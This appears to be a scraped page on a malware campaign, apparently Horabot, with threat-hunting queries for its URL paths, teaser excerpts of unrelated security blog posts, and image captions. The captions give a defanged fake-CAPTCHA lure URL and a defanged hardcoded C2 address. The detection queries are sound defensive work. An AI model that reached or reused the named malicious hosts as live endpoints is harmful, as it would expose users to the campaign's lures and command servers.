entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan
page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)
Ethan Robish // As promised in my previous post, part 1, this post shows how to place a tracking bug in a native .xlsx file. Full credit for this method […]
Ethan Robish // If you’re familiar with ADHD and Web Word Bugs, you likely already know the method to create web tracking software using .html files renamed as .doc files. […]
Ethan Robish // Here’s a short intro for anyone not familiar with ssh config files, which are usually located at ~/.ssh/config As an example, you have ssh running on port […]
Kelsey Bellew // Maybe you don’t know what Direct Object References mean, if you Google it, you’d get this: This description uses the words “direct”, “object” and “reference” to describe a […]
Login
![Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24133444/horabot-campaign1.png)
![Fallback to hardcoded socket address (lifenews[.]pro:49569)](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24182634/horabot-campaign14.png)
